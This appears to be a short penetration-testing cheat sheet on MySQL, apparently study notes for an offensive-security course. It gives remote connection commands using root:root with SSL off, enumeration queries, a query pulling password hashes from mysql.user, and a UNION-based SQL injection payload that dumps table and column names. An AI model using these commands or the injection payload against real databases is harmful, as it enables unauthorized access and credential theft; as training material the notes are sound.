MySQL

MySQL

Command for connecting to remote mysql (sql) server:

mysql -u root -p'root' -h {{IP-Address}} -P {{PORT-Number-generally-3306}}

# Example
# mysql -u root -p'root' -h 192.168.209.16 -P 3306 --ssl=OFF

note: no space after -p

note that there is no space after -p

To get a version of the Database in MySQL:

select version();

To get current database user:

select system_user();

To get the list of databases:

show databases;

To get a list of table from a database:

show tables from {{DATABASE-NAME}};

To get the column name of the table:

SHOW COLUMNS FROM {database-name}.{table-name};

# Example:
# SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';
# this is an example to extract the user name and authentication string for user named as offsec

example:

SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';

this is an example to extract the user name and authentication string for user named as offsec

Fetching Table related information using UNION SQLI

' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //